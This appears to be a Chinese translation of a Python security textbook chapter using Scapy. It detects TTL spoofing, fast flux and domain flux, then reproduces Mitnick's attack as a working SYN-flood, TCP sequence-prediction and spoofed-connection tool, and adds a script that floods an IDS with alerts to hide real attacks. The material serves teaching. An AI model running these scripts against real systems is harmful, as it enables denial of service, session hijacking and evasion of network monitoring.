**14:56:41.289996 IP (tos 0x0, ttl 13, id 16857, offset 0, flags**

**[none], proto TCP (6), length 44)**

**8.8.8.8.42936 > 192.168.1.7.1110: Flags [S], cksum 0xc697 (correct),**

**seq 690560664, win 3072, options [mss 1460], length 0**

**14:56:41.290003 IP (tos 0x0, ttl 13, id 41154, offset 0, flags [none],**

**proto TCP (6), length 44)**

**8.8.8.8.42936 > 192.168.1.7.2601: Flags [S], cksum 0xc0c4 (correct),**

**seq 690560664, win 3072, options [mss 1460], length 0**

**14:56:41.307069 IP (tos 0x0, ttl 13, id 63795, offset 0, flags [none],**

**proto TCP (6), length 44)**

**用Scapy解析TTL字段**

让我们开始编写我们的脚本来打印源地址和数据包里面的TTL值。这一点上，在本章的剩余部分我们会使用Scapy库，你也可以简单的使用Dpkt库来编写这个代码。我们将建立一个函数testTTL()来嗅探每一个经过的数据包，检查数据包的IP层，抽取IP地址和TTL字段并打印字段在屏幕上。

**from scapy.all import \***

**def testTTL(pkt):**

**try:**

**if pkt.haslayer(IP):**

**ipsrc = pkt.getlayer(IP).src**

**ttl = str(pkt.ttl)**

**print '[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl**

**except:**

**pass**

**def main():**

**sniff(prn=testTTL, store=0)**

**if \_\_name\_\_ == '\_\_main\_\_':**

**main()**

运行我们的代码，我们看到我们已经从不同的地址收到几个带有不同的TTL的数据包。这些结果也包括来自8.8.8.8的TTL为13的诱饵扫描。我们知道TTL应该是64-13=51跳，我们可以认为有人伪造数据包。应该注意一点，LInux/Unix系统上通常初始TTL值为64，而Windows系统初始TTL值为128。为了我们脚本的目的，我们假设我们只解析来自Linux扫描的数据包，所以让我们增加一个函数来检查实际接受的TTL。

**analyst# python printTTL.py**

**[+] Pkt Received From: 192.168.1.7 with TTL: 64**

**[+] Pkt Received From: 173.255.226.98 with TTL: 52**

**[+] Pkt Received From: 8.8.8.8 with TTL: 13**

**[+] Pkt Received From: 8.8.8.8 with TTL: 13**

**[+] Pkt Received From: 192.168.1.7 with TTL: 64**

**[+] Pkt Received From: 173.255.226.98 with TTL: 52**

**[+] Pkt Received From: 8.8.8.8 with TTL: 13**

我们的函数checkTTL()需要一个IP源地址和对应的TTL值作为输入并输出TTL是否有效的信息。首先，让我们用一个条件与语句快速的消除死人IP地址的数据包(10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255, 和192.168.0.0–

192.168.255.255)。为此，我们导入IPy库，为了避免和Scapy的IP类冲突，我们把它作为IPTEST，如果IPTEST(ipsrc).iptype()返回‘PRIVATE‘，我们变忽略检查这个数据包。

我们从相同的源地址收到了不少的独特的数据包，我们只需要检查源地址一次。如果先前我们没看到源地址，让我们构建一个目的地址与源地址相同的IP数据包。此外，我们将制作一个ICMP数据包与目的地址向回应。一旦目标地址回应，我们将TTL值放在字典中，通过IP源地址索引，我们再来检查实际收到的TTL值和原始数据包里面的TTL值。数据包可能会走不同的路线来到达目的地，造成TTL不同，然而，如果跳数的距离相差五跳，我们可以假定，它可能是一个欺骗性的TTL，并打印警告信息在屏幕上。

**from IPy import IP as IPTEST**

**ttlValues = {}**

**THRESH = 5**

**def checkTTL(ipsrc, ttl):**

**if IPTEST(ipsrc).iptype() == 'PRIVATE':**

**return**

**if not ttlValues.has\_key(ipsrc):**

**pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)**

**ttlValues[ipsrc] = pkt.ttl**

**if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:**

**print('\n[!] Detected Possible Spoofed Packet From: ' + ipsrc)**

**print('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc]))**

我们添加一些选项解析来指定要监听的地址，然后通过一个选项来设定阀值来产生最终的代码。少于50行的代码，我们拥有是数十年前Moore为五角大楼困境的解决方案。

# coding=UTF-8  
**import** time  
**import** optparse  
**from** scapy.all **import** \*  
**from** IPy **import** IP **as** IPTEST  
  
ttlValues = {}  
THRESH = 5  
  
**def checkTTL**(ipsrc, ttl):  
 **if** IPTEST(ipsrc).iptype() == 'PRIVATE':  
 **return  
 if not** ttlValues.has\_key(ipsrc):  
 pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)  
 ttlValues[ipsrc] = pkt.ttl  
 **if** abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:  
 **print**('\n[!] Detected Possible Spoofed Packet From: ' + ipsrc)  
 **print**('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc]))  
  
  
**def testTTL**(pkt):  
 **try**:  
 **if** pkt.haslayer(IP):  
 ipsrc = pkt.getlayer(IP).src  
 ttl = str(pkt.ttl)  
 **print**('[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl)  
 **except**:  
 **pass  
  
def main**():  
 parser = optparse.OptionParser("usage%prog -i<interface> -t <thresh>")  
 parser.add\_option('-i', dest='iface', type='string', help='specify network interface')  
 parser.add\_option('-t', dest='thresh', type='int', help='specify threshold count ')  
 (options, args) = parser.parse\_args()  
 **if** options.iface == None:  
 conf.iface = 'eth0'  
 **else**:  
 conf.iface = options.iface  
 **if** options.thresh != None:  
 THRESH = options.thresh  
 **else**:  
 THRESH = 5  
 sniff(prn=testTTL, store=0)  
  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们的代码，我们可以看到它正确的识别了诱饵Nmap扫描，来自8.8.8.8的扫描。需要注意的是，我们的值产生于一个默认的Linux初始TTL值64，尽管RFC 1700推荐的默认TTL值是64，但是Windows系统还是将128作为TTL的默认初始值。此外，其他一些Unix变种的系统有着不同的TTL值。现在我们假定产生数据包的系统为Linux。

**analyst# python spoofDetect.py –i eth0 –t 5**

**[!] Detected Possible Spoofed Packet From: 8.8.8.8**

**[!] TTL: 13, Actual TTL: 53**

**[!] Detected Possible Spoofed Packet From: 8.8.8.8**

**[!] TTL: 13, Actual TTL: 53**

**[!] Detected Possible Spoofed Packet From: 8.8.8.8**

**[!] TTL: 13, Actual TTL: 53**

**[!] Detected Possible Spoofed Packet From: 8.8.8.8**

**[!] TTL: 13, Actual TTL: 53**

**<..SNIPPED..>**

**Storm的FAST流量和Conficker的Domain流量**

2007年，安全研究人员确认一种新技术，曾被臭名昭著的Storm僵尸网络使用。这种技术称为Fast流量，利用DNS记录隐藏命令从而控制Storm僵尸网络。DNS服务是通常是转换域名到IP地址的。当DNS服务返回一个结果时，他还指定了TTL，在主机检查之前任然有效。

Storm僵尸网络的攻击者为了命令和控制服务器而频繁的改变DNS记录。事实上，他们使用的2000多个主机散步在50个国家384个供应商。为了命令和控制主机，攻击者频繁的替换IP地址，确保DNS返回很短的TTL结果。IP地址的Fast流量令安全人员很难确认被命令和控制的僵尸网络，更难让服务器脱机。

Fast很难从Storm僵尸网络卸载下来，类似的技术次年用于辅助感染了两百多个国家的7百多万电脑。Conficker蠕虫是目前为止最成功的计算机蠕虫，通过攻击Windows的SMB协议漏洞来传播。一旦被感染，脆弱的主机连接到一个命名和控制服务器等待进一步指示。确认和阻止和命令控制主机通讯对于停止攻击是完全有必要的。然而，Conficker蠕虫使用当前的UTC时间和日期每三个小时就产生不同的域名。对Conficker迭代意味着每三个小时将产生50000个域。攻击者只需要注册极少的域名到真是的IP就可以命令和控制服务器。这使得拦截和阻止命令和控制服务器的流量很困难。因此技术人员将它命名为Domain流量。

在下面的章节中，我们将编写一些Python脚本来检测识别外界的Fast流量和Domain流量攻击。

**你的NDS知道一些你不知道的事吗？**

为了确认外界的Fast流量和Domain流量，让我们快速审查一下DNS，通过查看域名请求时产生的流量。为了明白这些，让我们执行域名查询操作。注意，我们的域名服务器在192.168.1.1，翻译域名到74.117.114.119的IP地址。

**analyst# nslookup whitehouse.com**

**Server: 192.168.1.1**

**Address: 192.168.1.1#53**

**Non-authoritative answer:**

**Name: whitehouse.com**

**Address: 74.117.114.119**

用tcpdump检查NDS流量，我们可以看到客户端192.168.13.37发送了一个DNS请求给192.168.1.1,。特别是客户端生成了DNS快速记录(DNSQR)请求Ipv4地址，服务器响应增加DNS资源记录(DNSRR)并提供IP地址。

**analyst# tcpdump -i eth0 –nn 'udp port 53'**

**07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A?**

**whitehouse.com. (32)**

**07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0 A**

**74.117.114.119 (48)**

**使用Scapy解析DNS流量**

当我们用Scapy研究DNS协议请求，我们可以看到包含在每一个A记录的DNSQR包含了请求名(qname)，请求类型(qtype)和请求类(qclass)。为了上述要求，我们要请求域名的Ipv4地址，让qname字段等于域名。DNS服务响应通过添加DNSRR包含资源名称(rrname)，类型(type)，资源记录类(rclass)和TTL。知道Fast流量和Domain流量是怎么工作的，我们现在可以使用Scapy编写Python脚本分析可确认可以的DNS流量。

**analyst# scapy**

**Welcome to Scapy (2.0.1)**

**>>>ls(DNSQR)**

**qname : DNSStrField = (‘’)**

**qtype : ShortEnumField = (1)**

**qclass : ShortEnumField = (1)**

**>>>ls(DNSRR)**

**rrname : DNSStrField = (‘’)**

**type : ShortEnumField = (1)**

**rclass : ShortEnumField = (1)**

**ttl : IntField = (0)**

**rdlen : RDLenField = (None)**

**rdata : RDataField = (‘’)**

欧洲网络与信息安全机构通过了一个分析网络流量极好的资源。他们提供了一个光盘ISO镜像，包含了一些网络捕获和练习。你可以从下面网站下载：http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvd-iso-images。练习7提供了一个练习Fast流量行为的例子的PCAP。此外你可能希望被间谍软件或者恶意软件感染的虚拟机在活动前在受控的实验环境安全检查流量。为了我们的目的，让我们假设你现在有一个捕获的网络流量包fastFlux.pcap包含了一些你想要分析的NDS流量。

**用Scapy检测Fast流量**

让我们编写Python脚本阅读pcap并分析所有的包含DNSRR的数据包。Scapy功能强大，haslayer()函数将协议类型作为输入，并返回一个布尔值。如果数据包包含一个DNSRR，我们将抽取包含适当域名和IP地址的rname和rdata变量。我们可以检查我们维护的域名字典，通过域名索引。如果是我之前见过的域名，我们将看看它是否与先前的IP地址相关联。如果它有一个不同以前的IP地址，我们将增加到我们维护的字典。相反，如果我们发现了一个新域名，我们添加它到我们的字典。我们添加这个域名的IP地址作为存储我们字典值的数组的第一个元素。

这看起来有些复杂，但是我们想能够存储所有的域名和他们关联的不同的IP地址。为了检测Fast流量，我们需要知道那个域名有多个IP地址。在研究所有的数据包之后，我们打印所有的域名和每个域名的多个IP地址。

**from scapy.all import \***

**dnsRecords = {}**

**def handlePkt(pkt):**

**if pkt.haslayer(DNSRR):**

**rrname = pkt.getlayer(DNSRR).rrname**

**rdata = pkt.getlayer(DNSRR).rdata**

**if dnsRecords.has\_key(rrname):**

**if rdata not in dnsRecords[rrname]:**

**dnsRecords[rrname].append(rdata)**

**else:**

**dnsRecords[rrname] = []**

**dnsRecords[rrname].append(rdata)**

**def main():**

**pkts = rdpcap('fastFlux.pcap')**

**for pkt in pkts:**

**handlePkt(pkt)**

**for item in dnsRecords:**

**print('[+] '+item+' has '+str(len(dnsRecords[item])) + ' unique IPs.')**

**if \_\_name\_\_ == '\_\_main\_\_':**

**main()**

运行我们的代码，我们可以看到至少有四个域名与多个IP相对应。所有的死四个域名在过去实际上被Fast流量所利用。

**analyst# python testFastFlux.py**

**[+] ibank-halifax.com. has 100,379 unique IPs.**

**[+] armsummer.com. has 14,233 unique IPs.**

**[+] boardhour.com. has 11,900 unique IPs.**

**[+] swimhad.com. has 11, 719 unique IPs.**

**用Scapy检测Domain流量**

接下来，我们开始分析被Conficker蠕虫感染的机器。你可以感染你自己的机器或者下载一些捕获的样本。许多第三方网站包含不同的Conficker捕获。由于Conficker蠕虫利用Domain流量，我们需要查看服务器包含未知域名的错误信息的响应。不同版本的Conficker蠕虫生成几种DNS。因为几个域名是伪造的，为了掩盖真实的命令控制服务器。大多数DNS服务器缺乏将域名转换成真实的地址并替代生成的错误的信息的能力。让我们通过确认所有的包含name-error信息的DNS响应来确认Domain流量。为了得到完整的Conficker蠕虫使用过的域名列表，我们可以在http://www.cert.at/downloads/data/conficker\_en.html找到。

**from scapy.all import \***

**def dnsQRTest(pkt):**

**if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:**

**rcode = pkt.getlayer(DNS).rcode**

**qname = pkt.getlayer(DNSQR).qname**

**if rcode == 3:**

**print('[!] Name request lookup failed: ' + qname)**

**return True**

**else:**

**return False**

**def main():**

**unAnsReqs = 0**

**pkts = rdpcap('domainFlux.pcap')**

**for pkt in pkts:**

**if dnsQRTest(pkt):**

**unAnsReqs = unAnsReqs + 1**

**print('[!] '+str(unAnsReqs)+' Total Unanswered Name Requests')**

**if \_\_name\_\_ == '\_\_main\_\_':**

**main()**

注意当我们运行脚本时，我们可以看到一些用于Conficker蠕虫Domain流量的实际域名。成功！我们可以确认攻击。在下一节里让我们用我们的分析技能重新审视一下发生在15年前的复杂的攻击。

**analyst# python testDomainFlux.py**

**[!] Name request lookup failed: tkggvtqvj.org.**

**[!] Name request lookup failed: yqdqyntx.com.**

**[!] Name request lookup failed: uvcaylkgdpg.biz.**

**[!] Name request lookup failed: vzcocljtfi.biz.**

**[!] Name request lookup failed: wojpnhwk.cc.**

**[!] Name request lookup failed: plrjgcjzf.net.**

**[!] Name request lookup failed: qegiche.ws.**

**[!] Name request lookup failed: ylktrupygmp.cc.**

**[!] Name request lookup failed: ovdbkbanqw.com.**

**<..SNIPPED..>**

**[!] 250 Total Unanswered Name Requests**

**凯文米特尼克和TCP序列预测**

1996年2月16日结束了一个臭名昭著的黑客的统治。其疯狂的犯罪行为包含盗取价值数百万美元的商业机密。15年来，凯文米特尼克获得未授权访问计算机，窃取私人信息，试图抓他的人都厌倦了，但是最后一个针对他的小组抓到了他。

Tsutomu Shimomura，一个计算物理理学家，帮助逮捕了米特尼克。在1992的手机安全听证会后，米特尼克便成为了他的目标。1994年12月，有人闯入了他家的电脑系统。相信这次攻击是米特尼克并被他的新的攻击方法所着迷，他本来领导的LED团队在第二年开始追踪米特尼克。

他好奇攻击向量是什么，以前从没见到过，米特尼克用了一个方法劫持了TCP会话。这种技术被称为TCP序列预测，攻击缺乏随机性的序列号跟踪单个网络连接。这个技术接合IP地址欺骗，允许米特尼克劫持他家电脑的一个连接。在下面的章节中，我们将重现并编写米特尼克曾经使用过的TCP序列预测的工具和攻击。

**你自己的TCP序列预测**

米特尼克攻击过的机器有一个可靠的远程连接服务协议。这个远程服务能访问米特尼克的受害者，通过运行在TCP 513端口上的远程登陆协议(rlogin)。而不是使用公钥协商或者是密码方式，rlogin使用了一个不安全的认证方法---检查源IP地址。因此，为了攻击Shimomura的电脑米特尼克必须1.找到一个可信的服务器；2.沉默的可信服务器；3.欺骗来自服务器的连接；4.盲目的欺骗正确的TCP三次握手包的ACK包。听起来比实际上更难，1994年1月25日，Shimomura发布了这次攻击的详细描述在新闻博客上。通过看他发布的技术细节分析这次攻击，我们将编写一个Python脚本来执行类似的攻击。

在米特尼克确认了Shimomura的私人电脑上有一个可靠的远程服务，他需要那个机器沉默。如果机器注意到尝试使用他的IP地址欺骗连接，机器将会发送重置数据包关闭连接。为了让机器沉默，米特尼克发送了一类咧的TCP SYN包到服务器的登陆端口。被称为SYN洪水攻击，这个攻击充满了服务器的连接序列并保持它的响应。从Shimomura发布的细节来看，我们看到一系列的TCP SYN包发送到目标主机的登陆端口。

**14:18:22.516699 130.92.6.97.600 > server.login: S**

**1382726960:1382726960(0) win 4096**

**14:18:22.566069 130.92.6.97.601 > server.login: S**

**1382726961:1382726961(0) win 4096**

**14:18:22.744477 130.92.6.97.602 > server.login: S**

**1382726962:1382726962(0) win 4096**

**14:18:22.830111 130.92.6.97.603 > server.login: S**

**1382726963:1382726963(0) win 4096**

**14:18:22.886128 130.92.6.97.604 > server.login: S**

**1382726964:1382726964(0) win 4096**

**14:18:22.943514 130.92.6.97.605 > server.login: S**

**1382726965:1382726965(0) win 4096**

**<..SNIPPED..?**

**用Scapy制作SYN洪水**

用Scapy简单的复制一个TCP SYN洪水攻击，我们将制作一些IP数据包，有递增的TCP源端口和不断的TCP 513目标端口。

**from scapy.all import \***

**def synFlood(src, tgt):**

**for sport in range(1024, 65535):**

**IPlayer = IP(src=src, dst=tgt)**

**TCPlayer = TCP(sport=sport, dport=513)**

**pkt = IPlayer / TCPlayer**

**send(pkt)**

**src = "10.1.1.2"**

**tgt = "192.168.1.3"**

**synFlood(src, tgt)**

运行攻击发送TCP SYN数据包耗尽目标主机资源，填满它的连接队列，基本瘫痪目标发送TCP 重置包的能力。

**mitnick# python synFlood.py**

**.**

**Sent 1 packets.**

**.**

**Sent 1 packets.**

**.**

**Sent 1 packets.**

**.**

**Sent 1 packets.**

**.**

**<..SNIPPED..>**

**计算TCP序列号**

现在攻击变得有一些有趣了。随着远程服务器的沉默，米特尼克可以欺骗目标的TCP连接。然而，这取决于他发送伪造的SYN的能力，Shimomura机器TCP连接后的一个TCP ACK数据包。为了完成连接，米特尼克需要需要正确的猜到TCP ACK的序列号，因为他无法观察到他，并返回一个正确的猜测的TCP ACK序列号。为了正确计算TCP序列号，米特尼克从名为apollo.it.luc.edu的大学机器发送了一系列的SYN数据包，收到SYN之后，Shimomura的机器的终端响应了一个带序列号的TCP ACK数据包注意下面隐藏技术细节的序列号：2022080000, 2022208000, 2022336000, 2022464000。每个增量相差128000，这让计算正确的TCP序列号更加容易。( 注意，大多数现代的操作系统今天提供更强大的随机TCP序列号。)

**14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S**

**1382726992:1382726992(0) win 4096**

**14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S**

**2022080000:2022080000(0) ack 1382726993 win 4096**

**14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R**

**1382726993:1382726993(0) win 0**

**14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S**

**1382726993:1382726993(0) win 4096**

**14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S**

**2022208000:2022208000(0) ack 1382726994 win 4096**

**14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R**

**1382726994:1382726994(0) win 0**

**14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S**

**1382726994:1382726994(0) win 4096**

**14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S**

**2022336000:2022336000(0) ack 1382726995 win 4096**

**14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R**

**1382726995:1382726995(0) win 0**

**14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S**

**1382726995:1382726995(0) win 4096**

**14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S**

**2022464000:2022464000(0) ack 1382726996 win 4096**

**14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R**

**1382726996:1382726996(0) win 0**

**<..SNIPPED..>**

为了在Python中重现，我们将发送TCP SYN数据包并等待TCP SYN-ACK数据包。一旦收到，我们将从ACK中剥离TCP序列号并打印到屏幕上。我们进重复4次确认一个规律的存在。注意，使用Scapy，我们不需要完整的TCP和IP字段：Scapy将用值填充他们。此外，它将从我们默认的源地址发送。我们的新函数callSYN()将会接受一个IP地址返回写一个ACK序列号(当前的序列号加上变化)。

**from scapy.all import \***

**def calTSN(tgt):**

**seqNum = 0**

**preNum = 0**

**diffSeq = 0**

**for x in range(1, 5):**

**if preNum != 0:**

**preNum = seqNum**

**pkt = IP(dst=tgt) / TCP()**

**ans = sr1(pkt, verbose=0)**

**seqNum = ans.getlayer(TCP).seq**

**diffSeq = seqNum - preNum**

**print '[+] TCP Seq Difference: ' + str(diffSeq)**

**return seqNum + diffSeq**

**tgt = "192.168.1.106"**

**seqNum = calTSN(tgt)**

**print "[+] Next TCP Sequence Number to ACK is: "+str(seqNum+1)**

运行我们的代码攻击一个脆弱的目标，我们可以看到TCP系列号的随机性是不存在的，目标和Shimomura的机器有相同的序列号差值。注意，默认情况下，Scapy会使用默认的目标TCP端口80。目标必须有一个服务正在监听，不管你尝试欺骗连接那个端口。

**mitnick# python calculateTSN.py**

**[+] TCP Seq Difference: 128000**

**[+] TCP Seq Difference: 128000**

**[+] TCP Seq Difference: 128000**

**[+] TCP Seq Difference: 128000**

**[+] Next TCP Sequence Number to ACK is: 2024371201**

**欺骗TCP连接**

有了正确的TCP序列号在手，米特尼克可以攻击了。米特尼克使用的序列号是2024371200，大约初始化SYN后的150个SYN数据包发送过去用来侦查。首先，它从新的沉默服务器欺骗了一个连接。然后他发送了一个序列号是2024371201盲目的ACK数据包，表明已经建立了正确的连接。

**14:18:36.245045 server.login > x-terminal.shell: S**

**1382727010:1382727010(0) win 4096**

**14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 win**

**4096**

在Python中重现这些，我们将生成和发送两个数据包。首先我们创建一个TCP源端口是513和目的端口是514的源IP地址是欺骗的服务器目的IP地址是目标IP地址的SYN数据包，接下来，我们创建一个相同的ACK数据包，增加计算的序列号作为额外的字段，并发送它。

**from scapy.all import \***

**def spoofConn(src, tgt, ack):  
 IPlayer = IP(src=src, dst=tgt)  
 TCPlayer = TCP(sport=513, dport=514)  
 synPkt = IPlayer / TCPlayer  
 send(synPkt)  
 IPlayer = IP(src=src, dst=tgt)  
 TCPlayer = TCP(sport=513, dport=514, ack=ack)  
 ackPkt = IPlayer / TCPlayer  
 send(ackPkt)  
  
src = "10.1.1.2"  
tgt = "192.168.1.106"  
seqNum = 2024371201  
spoofConn(src,tgt,seqNum)**

将全部代码整合在一起，我们将增加一些命令行选项解析来指定要欺骗连接的地址，目标服务器，和欺骗地址的初始化SYN洪水攻击。

# coding=UTF-8  
**import** optparse  
**from** scapy.all **import** \*  
  
#SYN洪水攻击  
**def synFlood**(src, tgt):  
 **for** sport **in** range(1024, 65535):  
 IPlayer = IP(src=src, dst=tgt)  
 TCPlayer = TCP(sport=sport, dport=513)  
 pkt = IPlayer / TCPlayer  
 send(pkt)  
#预测TCP序列号  
**def calTSN**(tgt):  
 seqNum = 0  
 preNum = 0  
 diffSeq = 0  
 **for** x **in** range(1, 5):  
 **if** preNum != 0:  
 preNum = seqNum  
 pkt = IP(dst=tgt) / TCP()  
 ans = sr1(pkt, verbose=0)  
 seqNum = ans.getlayer(TCP).seq  
 diffSeq = seqNum - preNum  
 **print** '[+] TCP Seq Difference: ' + str(diffSeq)  
 **return** seqNum + diffSeq  
#发送ACk欺骗包  
**def spoofConn**(src, tgt, ack):  
 IPlayer = IP(src=src, dst=tgt)  
 TCPlayer = TCP(sport=513, dport=514)  
 synPkt = IPlayer / TCPlayer  
 send(synPkt)  
 IPlayer = IP(src=src, dst=tgt)  
 TCPlayer = TCP(sport=513, dport=514, ack=ack)  
 ackPkt = IPlayer / TCPlayer  
 send(ackPkt)  
**def main**():  
 parser = optparse.OptionParser('usage%prog -s<src for SYN Flood> -S <src for spoofed connection> -t<target address>')  
 parser.add\_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')  
 parser.add\_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')  
 parser.add\_option('-t', dest='tgt', type='string', help='specify target address')  
 (options, args) = parser.parse\_args()  
 **if** options.synSpoof == None **or** options.srcSpoof == None **or** options.tgt == None:  
 **print**(parser.usage)  
 exit(0)  
 **else**:  
 synSpoof = options.synSpoof  
 srcSpoof = options.srcSpoof  
 tgt = options.tgt  
 **print**('[+] Starting SYN Flood to suppress remote server.')  
 synFlood(synSpoof, srcSpoof)  
 **print**('[+] Calculating correct TCP Sequence Number.')  
 seqNum = calTSN(tgt) + 1  
 **print**('[+] Spoofing Connection.')  
 spoofConn(srcSpoof, tgt, seqNum)  
 **print**('[+] Done.')  
  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们最终的脚本，我们成功复制了米特尼克20年前的攻击。一度被认为是史上最复杂的攻击现在被我们用几十行Python代码重现。现在手上有了较强的分析技能，让我们用到下一节描述的方法，一个针对入侵检测系统的复杂网络攻击的分析。

**mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t**

**192.168.1.106**

**[+] Starting SYN Flood to suppress remote server.**

**.**

**Sent 1 packets.**

**.**

**Sent 1 packets.**

**.**

**Sent 1 packets.**

**<..SNIPPED..>**

**[+] Calculating correct TCP Sequence Number.**

**[+] TCP Seq Difference: 128000**

**[+] TCP Seq Difference: 128000**

**[+] TCP Seq Difference: 128000**

**[+] TCP Seq Difference: 128000**

**[+] Spoofing Connection.**

**.**

**Sent 1 packets.**

**.**

**Sent 1 packets.**

**[+] Done.**

**用Scapy挫败入侵检测系统**

入侵检测系统(IDS)是主管分析师手中一个非常有价值的工具。一个基于网络的入侵检测系统(NIDS)可以通过记录IP网络数据包实时分析流量。通过匹配已知恶意标记的数据包，IDS可以在攻击成功之前提醒网络分析师。比如说，Snort入侵检测系统通过预先包装各种不同的规则来检测不同类型的侦查，攻击，拒绝服务等其他不同的攻击向量。审查其中一个配置的内容，我们看到四个报警检测TFN，tfn2k和Trin00分布式拒绝服务的攻击工具。当攻击者使用TFN, tfn2k 或者Trin00工具攻击目标，IDS检测到攻击然后警告分析师。然而，当分析师接受比他们能分辨事件还要多的警告时他该怎么办？他们往往不知所措，可能会错过重要的攻击细节。

**victim# cat /etc/snort/rules/ddos.rules**

**<..SNIPPED..>**

**alert icmp $EXTERNAL\_NET any -> $HOME\_NET any (msg:"DDOS TFN Probe";**

**icmp\_id:678; itype:8; content:"1234"; reference:arachnids,443;**

**classtype:attempted-recon; sid:221; rev:4;)**

**alert icmp $EXTERNAL\_NET any -> $HOME\_NET any (msg:"DDOS tfn2k icmp**

**possible communication"; icmp\_id:0; itype:0; content:"AAAAAAAAAA";**

**reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)**

**alert udp $EXTERNAL\_NET any -> $HOME\_NET 31335 (msg:"DDOS Trin00**

**Daemon to Master PONG message detected"; content:"PONG";**

**reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)**

**alert icmp $EXTERNAL\_NET any -> $HOME\_NET any (msg:"DDOS**

**TFN client command BE"; icmp\_id:456; icmp\_seq:0; itype:0;**

**reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)**

**<...SNIPPED...>**

为了对分析师隐藏一个合法的攻击，我们将编写一个工具生成大量的警告让分析师去处理。此外，分析师能够使用这个工具来验证一个IDS能正确的识别恶意流量。编写这个脚本并不难，我们已经有了生成警告的规则。为此，我们将再次使用Scapy制作数据包。考虑到DDos TFN的第一条规则，我们必须生成一个ICMP数据包，ICMP ID是678，ICMP 类型是8包含原始内容‘1234’的数据包。使用Scapy，我们用这些变量制作数据包并发送他们到我们的目的地址。此外，我们建立其他三个规则的数据包。

**from scapy.all import \***

**def ddosTest(src, dst, iface, count):**

**pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')**

**send(pkt, iface=iface, count=count)**

**pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')**

**send(pkt, iface=iface, count=count)**

**pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')**

**send(pkt, iface=iface, count=count)**

**pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)**

**send(pkt, iface=iface, count=count)**

**src="1.3.3.7"**

**dst="192.168.1.106"**

**iface="eth0"**

**count=1**

**ddosTest(src,dst,iface,count)**

运行该脚本，我们看到，四个数据包发送到了目的地址。IDS将会分析这些数据包并生成警告，如果他们匹配正确的话。

**attacker# python idsFoil.py**

**Sent 1 packets.**

**.Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

检查Snort的警告日志，我们发现我们成功了！所有四个数据包生成的警告全部IDS系统中。

**victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf**

**03/14-07:32:52.034213 [\*\*] [1:221:4] DDOS TFN Probe [\*\*]**

**[Classification: Attempted Information Leak] [Priority: 2] {ICMP}**

**1.3.3.7 -> 192.168.1.106**

**03/14-07:32:52.037921 [\*\*] [1:222:2] DDOS tfn2k icmp possible**

**communication [\*\*] [Classification: Attempted Denial of Service]**

**[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106**

**03/14-07:32:52.042364 [\*\*] [1:223:3] DDOS Trin00 Daemon to Master PONG**

**message detected [\*\*] [Classification: Attempted Information Leak]**

**[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335**

**03/14-07:32:52.044445 [\*\*] [1:228:3] DDOS TFN client command BE [\*\*]**

**[Classification: Attempted**

让我们看看稍微复杂的规则，Snort下的exploit.rules签名文件。在这里，一系列的特殊字节将会为ntalkd x86 Linux溢出和Linux mountd溢出生成警告。

**alert udp $EXTERNAL\_NET any -> $HOME\_NET 518 (msg:"EXPLOIT ntalkd x86**

**Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 02 E8|";**

**reference:bugtraq,210; classtype:attempted-admin; sid:313;**

**rev:4;)**

**alert udp $EXTERNAL\_NET any -> $HOME\_NET 635 (msg:"EXPLOIT x86 Linux**

**mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";**

**reference:bugtraq,121; reference:cve,1999-0002; classtype**

**:attempted-admin; sid:315; rev:6;)**

为了生成包含原始字节的数据包，我们将利用\x后面跟随16进制字符来编码字节。在第一个警报，会生成一个数据包将会被 ntalkd Linux溢出签名所检测到。第二个数据包，我们将接合16进制编码和标准的ASCII字符。注意98|F|编码为\x89标示包含了原始的字节加了一个ASCII字符。下面的数据包将在试图攻击时生成报警。

**def exploitTest(src, dst, iface, count):**

**pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")**

